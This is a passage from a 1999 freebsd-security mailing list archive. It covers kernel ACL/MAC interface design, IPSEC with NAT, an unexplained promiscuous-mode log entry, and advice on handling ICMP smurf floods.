better support AFS and non-POSIX.1e ACL schemes (such as the extensions you've mentioned): # #% getacl vp = = = # vop_getacl { IN struct vnode *vp; IN acl_type_t type; OUT struct acl *aclp; IN struct ucred *cred; IN struct proc *p; }; # #% setacl vp L L L # vop_setacl { IN struct vnode *vp; IN acl_type_t type; IN struct acl *aclp; IN struct ucred *cred; IN struct proc *p; }; # #% aclcheck vp = = = # vop_aclcheck { IN struct vnode *vp; IN acl_type_t type; IN struct acl *aclp; IN struct ucred *cred; IN struct proc *p; }; In the extended attribute scheme, these would be backed onto the extattr vop calls, although the syscall code on top would not see that happening--meaning that ACLs are visible in the VFS scheme, not just attributes (which would also be visible in VFS). Does this make sense to you? Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 6 15:44:17 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 167591509B; Mon, 6 Dec 1999 15:44:16 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 08DE61CD622; Mon, 6 Dec 1999 15:44:16 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Mon, 6 Dec 1999 15:44:15 -0800 (PST) From: Kris Kennaway To: michaelm Cc: security@freebsd.org Subject: Re: [Fwd: Satan Considered Harmful (Re: Anyone got Satan to run?)] In-Reply-To: <384C01F7.2BE2851F@hypertv.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 6 Dec 1999, michaelm wrote: > Fyodor's nmap is excellent, and it's available as a FreeBSD package... It also is not a security vulnerability scanner except in the most trivial sense ;) Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 6 20:31:11 1999 Delivered-To: freebsd-security@freebsd.org Received: from shorty.ahpcns.com (joemoore-host.dsl.visi.com [209.98.246.61]) by hub.freebsd.org (Postfix) with ESMTP id 286D014CFD for ; Mon, 6 Dec 1999 20:31:08 -0800 (PST) (envelope-from jomor@ahpcns.com) Received: from ahpcns.com (localhost [127.0.0.1]) by shorty.ahpcns.com (Postfix) with ESMTP id 40A511ED for ; Mon, 6 Dec 1999 22:31:08 -0600 (CST) Message-ID: <384C8D8B.4E55CC4A@ahpcns.com> Date: Tue, 07 Dec 1999 04:31:08 +0000 From: jomor Organization: ahpcns X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.0.36 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: can IPFW & NAT co-exist with kame IPSEC? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I want to add support for kame IPSEC (for net-to-net tunnelling) capability to my existing firewall/NAT box. The box is running freebsd 3.3-STABLE. I am networking with IP-V4 and don't want to go to V6 at this time. Does anyone know if this is possible? or do I need a dedicated box for tunnel end-points? If it's possible, what firewall rule modifications do I need so tunnel-bound traffic doesn't get NAT'ed? Both of the LANs involved use "private" IP addressing internally. ANY help is much appreciated. TIA ...jgm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 6 23:40:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id 0ECC014DDF for ; Mon, 6 Dec 1999 23:40:52 -0800 (PST) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id KAA25226; Tue, 7 Dec 1999 10:40:52 +0300 (MSK) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdg25223; Tue Dec 7 10:40:47 1999 Received: from localhost (localhost [127.0.0.1]) by ws-ilmar.ints.ru (8.9.3/8.9.3) with ESMTP id KAA23748; Tue, 7 Dec 1999 10:40:46 +0300 (MSK) Date: Tue, 7 Dec 1999 10:40:45 +0300 (MSK) From: "Ilmar S. Habibulin" To: Robert Watson Cc: freebsd-security@FreeBSD.ORG Subject: Re: ACL-0.1.1.tgz: updated for -CURRENT, some bugfixes In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 6 Dec 1999, Robert Watson wrote: > As you may have seen in my recent post, I agree that disk storage is > something we need to address ASAP, and the best approach is probably > extended attributes. I'd like to see support for ACL, CAP and MAC in the > VFS interface directly, however, and finalize that API in time for the 4.0 > feature freeze, even if we don't get storage ready by 4.0. It would be centralized development, not just incoherent patches. And there would be very nice to reimplement access control scheme in freebsd. Do some reference monitor. > In the extended attribute scheme, these would be backed onto the extattr > vop calls, although the syscall code on top would not see that > happening--meaning that ACLs are visible in the VFS scheme, not just > attributes (which would also be visible in VFS). > > Does this make sense to you? I don't know. The thing is that MAC differs from DAC too much. It have another aproach of getiing/setting labels, so sometimes mac label should not be visiable or settable. If we can reserve some space, that would be accessed only by the kernel through vop_extattr interface, and everything else would be accessable from the userspace through this interace. I'm afraid, that MAC implemetation without such limits will beak the NoWriteDown rule of BLMs' MAC. PS. What does freebsd project leaders think about all that posix stuff and our efforts? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 7 7:27:41 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 7972C14BE7 for ; Tue, 7 Dec 1999 07:27:36 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id KAA16580; Tue, 7 Dec 1999 10:27:37 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Tue, 7 Dec 1999 10:27:37 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: "Ilmar S. Habibulin" Cc: freebsd-security@FreeBSD.ORG Subject: Re: ACL-0.1.1.tgz: updated for -CURRENT, some bugfixes In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 7 Dec 1999, Ilmar S. Habibulin wrote: > On Mon, 6 Dec 1999, Robert Watson wrote: > > > As you may have seen in my recent post, I agree that disk storage is > > something we need to address ASAP, and the best approach is probably > > extended attributes. I'd like to see support for ACL, CAP and MAC in the > > VFS interface directly, however, and finalize that API in time for the 4.0 > > feature freeze, even if we don't get storage ready by 4.0. > It would be centralized development, not just incoherent patches. And > there would be very nice to reimplement access control scheme in > freebsd. Do some reference monitor. The problem with a cvs repository of our own is that then we have to intermittently synch with the central repository and lose our repository history (I don't believe CVS easily allowed for parallel vendor development trees which pick up both sets of changes?) Once I get a first useful version of ACLs out the door for -current in the next few days, I'd be willing to move to this, however. > > In the extended attribute scheme, these would be backed onto the extattr > > vop calls, although the syscall code on top would not see that > > happening--meaning that ACLs are visible in the VFS scheme, not just > > attributes (which would also be visible in VFS). > > > > Does this make sense to you? > I don't know. The thing is that MAC differs from DAC too much. It have > another aproach of getiing/setting labels, so sometimes mac label should > not be visiable or settable. If we can reserve some space, that would be > accessed only by the kernel through vop_extattr interface, and everything > else would be accessable from the userspace through this interace. I'm > afraid, that MAC implemetation without such limits will beak the > NoWriteDown rule of BLMs' MAC. In a more recent post (I think just to -arch) I outlined a possible access control mechanism for the attributes. This largely consisted of a flag which chose between "owner-writables/readable" and "kernel-writable/readable", the idea being that in the first mode, modification to the attributes via standard attribute syscalls would be permitted (within the limitations imposed by the fs mount status and permission set, such as read-only), but in the second mode it would be appropriate for storing security-sensitive information such as DAC and MAC information, as it would be neither modifiable nor readable by userland processes, except through the vops in kernel. This flag (still in the proposed stage) would be set per-file system, per-attribute, and would be declared when that attribute was initially configured for the file system. > PS. What does freebsd project leaders think about all that posix stuff and > our efforts? My impression has been that ACLs, capabilities, and auditing are of great interest. I haven't seen all that much interest in MAC, but I'm sure once people see the possibilities, they will be more interested. (For those reading and wondering, one possible answer is to assign a MAC level to each securelevel, and now objects associated with that securelevel are now immune to modifications by higher securelevels in an integrity model -- unlike the noschg flag, this has well defined semantics for how to modify and not modify files in various process environments, what processes may debug/not debug other processes, etc. This would require an explicit declassification process, but I'm sure we can think it through more once we have the facility). So as such, my impression is the answer is "supportive and interested", but perhaps someone reading this could enlighten us :-). Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 7 17:33:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from mailgate.hgc.com.tw (mailgate2.hgc.com.tw [203.133.1.200]) by hub.freebsd.org (Postfix) with ESMTP id 8ED7C14D09 for ; Tue, 7 Dec 1999 17:33:24 -0800 (PST) (envelope-from starry_wang@mail.hgc.com.tw) Received: by mailgate2.hgc.com.tw with Internet Mail Service (5.5.2448.0) id ; Wed, 8 Dec 1999 09:36:29 +0800 Message-ID: <51C38DDEF19ED211AAA10008C71E612FB04B55@gigaexchange.hgc.com.tw> From: =?Big5?B?pP2y0KZ0?= To: "'freebsd-security@FreeBSD.ORG'" Subject: auth ee1565d8 subscribe freebsd-security starry_wang@mail.hgc.com .tw Date: Wed, 8 Dec 1999 09:28:31 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="Big5" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org auth ee1565d8 subscribe freebsd-security starry_wang@mail.hgc.com.tw To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 7 18:12:46 1999 Delivered-To: freebsd-security@freebsd.org Received: from shorty.ahpcns.com (joemoore-host.dsl.visi.com [209.98.246.61]) by hub.freebsd.org (Postfix) with ESMTP id 54DDD14BE1 for ; Tue, 7 Dec 1999 18:12:41 -0800 (PST) (envelope-from jomor@ahpcns.com) Received: from ahpcns.com (localhost [127.0.0.1]) by shorty.ahpcns.com (Postfix) with ESMTP id 44822221 for ; Tue, 7 Dec 1999 20:12:41 -0600 (CST) Message-ID: <384DBE98.D44DE01@ahpcns.com> Date: Wed, 08 Dec 1999 02:12:41 +0000 From: jomor Organization: ahpcns X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.0.36 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: Re: can IPFW & NAT co-exist with kame IPSEC? References: <199912070458.MAA00905@netrinsics.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Does pipsecd require ppp or will it work with ethernet too? I want to use this with an Ethernet connected DSL router. TIA ...jgm Michael Robinson wrote: > jomor writes: > >I want to add support for kame IPSEC (for net-to-net tunnelling) > >capability to my existing firewall/NAT box. The box is running freebsd > >3.3-STABLE. I am networking with IP-V4 and don't want to go to V6 at > >this time. Does anyone know if this is possible? > > I don't know if it's possible, but I *do* know it's possible to use > ipfilter+ipnat+pipsecd to achieve the same functionality on one box. > > (And, with a few tricks, also userland ppp, to get a dial-on-demand VPN.) > > >If it's possible, what firewall > >rule modifications do I need so tunnel-bound traffic doesn't get NAT'ed? > > Tunnel-bound traffic with pipsecd is routed to a separate tun device from the > ipnat interface, so this isn't a problem. Tunnel packets appear as esp > packets originating from the gateway interface. > > -Michael Robinson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 7 21:15:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id 1AED314EB0 for ; Tue, 7 Dec 1999 21:15:21 -0800 (PST) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id IAA16083; Wed, 8 Dec 1999 08:15:20 +0300 (MSK) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdh16081; Wed Dec 8 08:15:15 1999 Received: from localhost (localhost [127.0.0.1]) by ws-ilmar.ints.ru (8.9.3/8.9.3) with ESMTP id IAA34077; Wed, 8 Dec 1999 08:15:14 +0300 (MSK) Date: Wed, 8 Dec 1999 08:15:13 +0300 (MSK) From: "Ilmar S. Habibulin" To: Robert Watson Cc: freebsd-security@FreeBSD.ORG Subject: Re: ACL-0.1.1.tgz: updated for -CURRENT, some bugfixes In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 7 Dec 1999, Robert Watson wrote: > > > VFS interface directly, however, and finalize that API in time for the 4.0 > > > feature freeze, even if we don't get storage ready by 4.0. > > It would be centralized development, not just incoherent patches. And > > there would be very nice to reimplement access control scheme in > > freebsd. Do some reference monitor. > The problem with a cvs repository of our own is that then we have to > intermittently synch with the central repository and lose our repository > history (I don't believe CVS easily allowed for parallel vendor > development trees which pick up both sets of changes?) Once I get a first > useful version of ACLs out the door for -current in the next few days, I'd > be willing to move to this, however. I think that there would be much more better and easy to use freebsd cvs. I do not need this cvs direct access, but the technique, that will allow me to send my updates and get them included in -current, plus i should have my sources always -current. > In a more recent post (I think just to -arch) I outlined a possible access > control mechanism for the attributes. This largely consisted of a flag > which chose between "owner-writables/readable" and > "kernel-writable/readable", the idea being that in the first mode, > modification to the attributes via standard attribute syscalls would be > permitted (within the limitations imposed by the fs mount status and > permission set, such as read-only), but in the second mode it would be > appropriate for storing security-sensitive information such as DAC and MAC > information, as it would be neither modifiable nor readable by userland > processes, except through the vops in kernel. Very nice solution. I try to find and read your post, cause i don't subscibed to -arch. > > PS. What does freebsd project leaders think about all that posix stuff and > > our efforts? > My impression has been that ACLs, capabilities, and auditing are of great > interest. I haven't seen all that much interest in MAC, but I'm sure once Ye, as i thought. ;-) > people see the possibilities, they will be more interested. (For those > reading and wondering, one possible answer is to assign a MAC level to > each securelevel, and now objects associated with that securelevel are now > immune to modifications by higher securelevels in an integrity model -- > unlike the noschg flag, this has well defined semantics for how to modify > and not modify files in various process environments, what processes may > debug/not debug other processes, etc. This would require an explicit > declassification process, but I'm sure we can think it through more once > we have the facility). So as such, my impression is the answer is > "supportive and interested", but perhaps someone reading this could > enlighten us :-). The thing is that i do not implement Biba integrity model(BIM) right now. It is interesting integrity approach, but i'm concentrating on BLM. BIM and BLM rules are opposites. So BIM implementation would be an easy process, i suppose. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Dec 7 22: 5:43 1999 Delivered-To: freebsd-security@freebsd.org Received: from thunk.crazylogic.net (thunk.crazylogic.net [199.45.111.154]) by hub.freebsd.org (Postfix) with ESMTP id 8255F14C48 for ; Tue, 7 Dec 1999 22:05:40 -0800 (PST) (envelope-from matt@crazylogic.net) Received: from localhost (matt@localhost) by thunk.crazylogic.net (8.9.3/8.9.3) with ESMTP id AAA68959 for ; Wed, 8 Dec 1999 00:58:23 -0500 (EST) (envelope-from matt@crazylogic.net) Date: Wed, 8 Dec 1999 00:58:23 -0500 (EST) From: Matt Gostick To: freebsd-security@freebsd.org Subject: ethernet promiscuous mode. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I looked in logs tonight and found this wierd entry tonight: Dec 7 23:36:37 thunk /kernel: vr0: promiscuous mode enabled At the time two other users where ssh'd in but where idle for quite some time. It is my understanding that promiscuous mode is used for sniffers so they can capture all packets... Is there any other reason why my ethernet card would go into promiscuous mode without root (me) telling it to? Or is it more probable that someone hacked root and is sniffing other machines on the network from my box? 30 minutes later when I did ifconfig -a the vr0 device was not in PROMISC mode... Thanks for any input, Matt. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 0:26:32 1999 Delivered-To: freebsd-security@freebsd.org Received: from imaging.rug.ac.be (imaging.rug.ac.be [157.193.133.14]) by hub.freebsd.org (Postfix) with ESMTP id 9E6A814EBD for ; Wed, 8 Dec 1999 00:26:28 -0800 (PST) (envelope-from Tony.Voet@rug.ac.be) Received: from rug.ac.be (tvoet.mri [157.193.90.71]) by imaging.rug.ac.be (8.9.3/8.9.3) with ESMTP id JAA88588; Wed, 8 Dec 1999 09:26:25 +0100 (CET) (envelope-from Tony.Voet@rug.ac.be) Message-ID: <384E1629.D70C4569@rug.ac.be> Date: Wed, 08 Dec 1999 09:26:17 +0100 From: Tony Voet Organization: Gent University - Radiology X-Mailer: Mozilla 4.61 [en] (X11; I; SunOS 4.1.3_U1 sun4m) X-Accept-Language: nl, en, fr, de MIME-Version: 1.0 To: Matt Gostick Cc: freebsd-security@FreeBSD.ORG Subject: Re: ethernet promiscuous mode. References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matt Gostick wrote: > > It is my understanding that promiscuous mode is used for sniffers > so they can capture all packets... Is there any other reason why > my ethernet card would go into promiscuous mode without root (me) > telling it to? Or is it more probable that someone hacked root > and is sniffing other machines on the network from my box? DHCP and advanced port scanners can put your NIC in promiscuous mode too. Best regards, Tony Voet Radiology and Medical Imaging Phone: +32 9 240 4073 Gent University Fax: +32 9 240 4969 De Pintelaan 185 mailto:Tony.Voet@rug.ac.be 9000 Gent http://mri2-gw00.rug.ac.be/ Belgium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 1: 3: 7 1999 Delivered-To: freebsd-security@freebsd.org Received: from public.bta.net.cn (public.bta.net.cn [202.96.0.97]) by hub.freebsd.org (Postfix) with ESMTP id 0644D14D8A for ; Wed, 8 Dec 1999 01:02:53 -0800 (PST) (envelope-from robinson@netrinsics.com) Received: from netrinsics.com (bt-209-166.bta.net.cn [202.106.209.166]) by public.bta.net.cn (8.9.3/8.9.3) with ESMTP id RAA10460 for ; Wed, 8 Dec 1999 17:04:26 +0800 (CST) Received: (from robinson@localhost) by netrinsics.com (8.9.3/8.8.7) id RAA04848; Wed, 8 Dec 1999 17:03:28 +0800 (CST) (envelope-from robinson) Date: Wed, 8 Dec 1999 17:03:28 +0800 (CST) From: Michael Robinson Message-Id: <199912080903.RAA04848@netrinsics.com> To: freebsd-security@freebsd.org, jomor@ahpcns.com Subject: Re: can IPFW & NAT co-exist with kame IPSEC? In-Reply-To: <384DBE98.D44DE01@ahpcns.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org jomor writes: >Does pipsecd require ppp or will it work with ethernet too? I want to use this >with an Ethernet connected DSL router. Pipsecd is pretty much a black box. It opens a tun device. Straight IP packets go in one end, and esp packets pop out the other. The esp packets then go through the normal routing process until they find the other end of the tunnel; the process is reversed, and the original IP packets pop out. So, yes it works with ethernet (as on my coloc server, for example), and probably any other IP interface you might come up with. -Michael Robinson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 2:27: 6 1999 Delivered-To: freebsd-security@freebsd.org Received: from zeta.qmw.ac.uk (zeta.qmw.ac.uk [138.37.6.6]) by hub.freebsd.org (Postfix) with ESMTP id 7537014C57 for ; Wed, 8 Dec 1999 02:27:03 -0800 (PST) (envelope-from d.m.pick@qmw.ac.uk) Received: from xi.css.qmw.ac.uk ([138.37.8.11]) by zeta.qmw.ac.uk with esmtp (Exim 3.02 #1) id 11veIe-0000F6-00; Wed, 08 Dec 1999 10:26:20 +0000 Received: from cgaa180 by xi.css.qmw.ac.uk with local (Exim 1.92 #1) id 11veIg-0006zR-00; Wed, 8 Dec 1999 10:26:22 +0000 X-Mailer: exmh version 2.0.2 2/24/98 To: Matt Gostick Cc: freebsd-security@freebsd.org Subject: Re: ethernet promiscuous mode. In-reply-to: Your message of "Wed, 08 Dec 1999 00:58:23 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 08 Dec 1999 10:26:22 +0000 From: David Pick Message-Id: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hypothesising, anything that wants to be less specific than usual about the destination IP address might use promiscuous mode: * user-mode BOOTP client * user-mode DHCP client * multi-cast reception * packet sniffer * intrusion detection system (to sniff packets!) * &c, &c > 30 minutes later when I did ifconfig -a the vr0 device was not in > PROMISC mode... Are you *sure*? If someone *has* "cracked" you and installed a rootkit "ifconfig" might have been replaced by a modified version that does not report the true facts - I'd reccommend (at least) deliberately putting the interface into promiscuous mode yourself and double- checking that "ifconfig" reports the fact correctly... -- David Pick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 4:13:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.navon.org.il (freebsd.navon.org.il [192.117.131.10]) by hub.freebsd.org (Postfix) with ESMTP id 3EEEA150DF for ; Wed, 8 Dec 1999 04:13:44 -0800 (PST) (envelope-from retal@ns.navon.org.il) Received: from localhost (retal@localhost) by ns.navon.org.il (8.9.3/8.9.3) with ESMTP id OAA00349 for ; Wed, 8 Dec 1999 14:17:53 +0200 (IST) (envelope-from retal@ns.navon.org.il) Date: Wed, 8 Dec 1999 14:17:53 +0200 (IST) From: retal To: freebsd-security@freebsd.org Subject: Attacked By ICMP Packets Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi there, I'm getting icmped and smurfed twice a week and when it does happen My LAN is dead ... , i ran a firewall but still it doesnt help... any suggestions? Sincerly, Liran - "Yitzhak Navon" HighSchool System Administration To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 4:50:27 1999 Delivered-To: freebsd-security@freebsd.org Received: from smtp.interact.se (smtp1.interact.se [193.15.98.9]) by hub.freebsd.org (Postfix) with ESMTP id 4D49B14CF2 for ; Wed, 8 Dec 1999 04:50:24 -0800 (PST) (envelope-from je@interact.se) Received: from wolfie.interact.se (wolfie.interact.se [193.15.98.202]) by smtp.interact.se (InterACT Mailer) with ESMTP id NAA12332; Wed, 8 Dec 1999 13:52:07 +0100 (CET) Date: Wed, 8 Dec 1999 13:50:05 +0100 (CET) From: Jonas Eriksson To: retal Cc: freebsd-security@FreeBSD.ORG Subject: Re: Attacked By ICMP Packets In-Reply-To: Message-ID: X-Mascot: Homer Simpson MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 8 Dec 1999, retal wrote: > Hi there, > I'm getting icmped and smurfed twice a week and when it does happen > My LAN is dead ... , i ran a firewall but still it doesnt help... > any suggestions? > Contact your provider, and let them block icmp to your net. -- jonas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 7:27:44 1999 Delivered-To: freebsd-security@freebsd.org Received: from grisu.bik-gmbh.de (grisu.bik-gmbh.de [194.233.237.82]) by hub.freebsd.org (Postfix) with ESMTP id DB2BF14D47 for ; Wed, 8 Dec 1999 07:27:37 -0800 (PST) (envelope-from cracauer@counter.bik-gmbh.de) Received: from counter.bik-gmbh.de (counter.bik-gmbh.de [194.233.237.131]) by grisu.bik-gmbh.de (8.9.3/8.9.3) with ESMTP id QAA08492; Wed, 8 Dec 1999 16:27:24 +0100 (MET) Received: (from cracauer@localhost) by counter.bik-gmbh.de (8.9.3/8.8.8) id QAA78167; Wed, 8 Dec 1999 16:26:30 +0100 (CET) (envelope-from cracauer) Date: Wed, 8 Dec 1999 16:26:13 +0100 From: Martin Cracauer To: Jonas Eriksson Cc: retal , freebsd-security@FreeBSD.ORG Subject: Re: Attacked By ICMP Packets Message-ID: <19991208162613.A78075@cons.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Jonas Eriksson on Wed, Dec 08, 1999 at 02:30:19PM +0100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In , Jonas Eriksson wrote: > On Wed, 8 Dec 1999, retal wrote: > > > Hi there, > > I'm getting icmped and smurfed twice a week and when it does happen > > My LAN is dead ... , i ran a firewall but still it doesnt help... > > any suggestions? > > > > Contact your provider, and let them block icmp to your net. Aehm, you need some ICMP, i.e. MTU discovery. The usual attack packets are oversized ping packets. You may let them filter on that criterium. Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.bik-gmbh.de/~cracauer/ "Where do you want to do today?" Hard to tell running your calendar program on a junk operating system, eh? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 10: 2:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from apcs.com.au (unknown [203.41.196.19]) by hub.freebsd.org (Postfix) with ESMTP id 891C11555F for ; Wed, 8 Dec 1999 10:02:02 -0800 (PST) (envelope-from keith@apcs.com.au) Received: (from keith@localhost) by apcs.com.au (8.9.3/8.9.2) id RAA00715; Wed, 8 Dec 1999 17:29:56 +1100 (EST) (envelope-from keith) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 08 Dec 1999 17:29:56 +1100 (EST) From: Keith Anderson To: Matt Gostick Subject: RE: ethernet promiscuous mode. Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi Matt, Some one as root was running something like 'trafshow' Keith On 08-Dec-99 Matt Gostick wrote: > I looked in logs tonight and found this wierd entry tonight: > > Dec 7 23:36:37 thunk /kernel: vr0: promiscuous mode enabled > > At the time two other users where ssh'd in but where idle for > quite some time. > > It is my understanding that promiscuous mode is used for sniffers > so they can capture all packets... Is there any other reason why > my ethernet card would go into promiscuous mode without root (me) > telling it to? Or is it more probable that someone hacked root > and is sniffing other machines on the network from my box? > > 30 minutes later when I did ifconfig -a the vr0 device was not in > PROMISC mode... > > Thanks for any input, > Matt. > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message "The box said 'Requires Windows 95, NT, or better,' so I installed FreeBSD." ** The thing I like most about Windows 98 is... ** You can download FreeBSD with it! ---------------------------------- E-Mail: Keith Anderson Australia Power Control Systems Pty. Limited. Date: 08-Dec-99 Time: 17:29:08 Satelite Service 64K to 2Meg This message was sent by XFMail ---------------------------------- What's the similarity between an air conditioner and a computer? They both stop working when you open windows. ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 13: 5: 4 1999 Delivered-To: freebsd-security@freebsd.org Received: from gaia.nimnet.asn.au (nimbin.lnk.telstra.net [139.130.45.143]) by hub.freebsd.org (Postfix) with ESMTP id 8844D14A01 for ; Wed, 8 Dec 1999 13:04:58 -0800 (PST) (envelope-from smithi@nimnet.asn.au) Received: from localhost (smithi@localhost) by gaia.nimnet.asn.au (8.8.8/8.8.8R1.0) with SMTP id FAA07524; Thu, 9 Dec 1999 05:29:03 +1100 (EST) (envelope-from smithi@nimnet.asn.au) Date: Thu, 9 Dec 1999 05:29:03 +1100 (EST) From: Ian Smith To: David Pick Cc: Matt Gostick , freebsd-security@FreeBSD.ORG Subject: Re: ethernet promiscuous mode. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 8 Dec 1999, David Pick wrote: > Hypothesising, anything that wants to be less specific than usual > about the destination IP address might use promiscuous mode: > * user-mode BOOTP client > * user-mode DHCP client > * multi-cast reception > * packet sniffer > * intrusion detection system (to sniff packets!) > * &c, &c .. or just forgetting the -p switch on a tcpdump .. Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 8 13:51:29 1999 Delivered-To: freebsd-security@freebsd.org Received: from server.computeralt.com (server.computeralt.com [207.41.29.10]) by hub.freebsd.org (Postfix) with ESMTP id 